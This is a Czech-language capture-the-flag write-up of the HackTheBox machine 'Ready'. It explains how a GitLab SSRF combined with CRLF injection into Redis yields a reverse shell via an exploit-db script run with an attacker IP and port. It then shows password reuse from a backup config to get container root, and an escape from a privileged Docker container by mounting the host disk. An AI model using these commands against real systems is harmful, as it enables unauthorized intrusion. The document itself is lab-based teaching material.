tom@home.htb:~$

Blog o HTB

2 January 2021

Ready

Úvod a kontext

Ready je ve skutečnosti GitLab kontejner vystavený přes nginx. User část stojí na kombinaci dvou starších GitLab chyb: SSRF v importu repozitáře a CRLF injection, která dovolí poslat vlastní příkazy do lokálního Redis. Root pak není o další webové chybě, ale o tom, že kompromitovaný kontejner běží jako privileged.

To je důležitý rozdíl. První polovina článku je čistě aplikační exploit proti GitLabu. Druhá je už kontejnerový únik na host, protože provozní nasazení dalo útočníkovi víc práv, než bylo nutné.

Technicky tak Ready propojuje hned několik samostatných témat: SSRF, reverse proxy a localhost trust assumptions, Message brokery a interní fronty jako zdroj tajemství a Container boundary mistakes: bind mounty, docker exec, runc, privileged.

Počáteční průzkum

Otevřené služby

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4
5080/tcp open  http    nginx

Web na 5080 byl GitLab. Po registraci nového účtu šlo na Help stránce vyčíst konkrétní verzi:

GitLab Community Edition 11.4.7

To je dost staré vydání na to, aby dávalo smysl hledat veřejně známý exploit chain místo ručního fuzzingu.

Analýza zjištění

SSRF a CRLF injection do Redis

Ready stojí na kombinaci dvou GitLab chyb:

To je důležité chápat společně. Samotné SSRF by dalo jen omezený GET na lokální službu. CRLF injection ale z jedné import URL udělá mechanismus, kterým se dají poslat vlastní příkazy do localhost Redis.

Je to zároveň pěkná ukázka článku Lokálně dostupné služby po footholdu: localhost není boundary, jen tentokrát ještě před prvním shellem: GitLab důvěřuje Redis jen proto, že běží lokálně, a SSRF tuto hranici zruší.

Praktický cíl byl jasný: GitLab používá Redis pro fronty resque, takže šlo vložit job, který spustí shell command přes GitlabShellWorker.

Místo ruční skládanky šlo použít hotový exploit pro tuto verzi, například 49334.py, který celý řetězec provede za nás.

Získání přístupu

Shell jako git v kontejneru

Po spuštění exploitu přišel reverzní shell jako uživatel git:

python3 /usr/share/exploitdb/exploits/ruby/webapps/49334.py -u tomas -p Aaa12345678! -g http://10.10.10.220 -l 10.10.14.7 -P 4444

První důležitá věc po footholdu byla ověřit, kde shell vlastně běží. Indicie jako .dockerenv, minimální userspace a interní adresa ukazovaly, že nejde o host, ale o GitLab Docker kontejner.

User flag přesto ležel dostupně v /home/dude:

cat /home/dude/user.txt
__CENSORED__

Eskalace oprávnění

Root uvnitř kontejneru

V /opt/backup byly pro další postup rozhodující dva soubory:

První z nich obsahoval heslo:

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

Na hostu by z toho ještě neplynulo nic. V kontejneru ale šlo stejné heslo použít přímo pro:

su -

Tím vznikl root shell uvnitř GitLab kontejneru.

Proč z kontejneru vede cesta na host

Teprve docker-compose.yml vysvětlil, proč je root v kontejneru tak silný:

To je přesně ten okamžik, kdy se z aplikační kompromitace stává container boundary problém: root v kontejneru by sám nestačil, ale privileged: true z něj dělá skoro host-level identitu.

privileged: true

Kontejner tedy neběžel v běžně omezeném režimu, ale s oprávněními velmi blízkými hostiteli. To otevřelo několik cest úniku. Nejjednodušší byla prostě připojit hostovský disk:

mount /dev/sda2 /mnt

Po mountu už byl k dispozici celý filesystem hosta včetně:

Tady končí skutečný root kompromis Ready. Nejde o další CVE, ale o to, že provozní tým spustil kompromitovaný GitLab kontejner v příliš privilegovaném režimu.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - rce - ssh - exploit - enumeration - privesc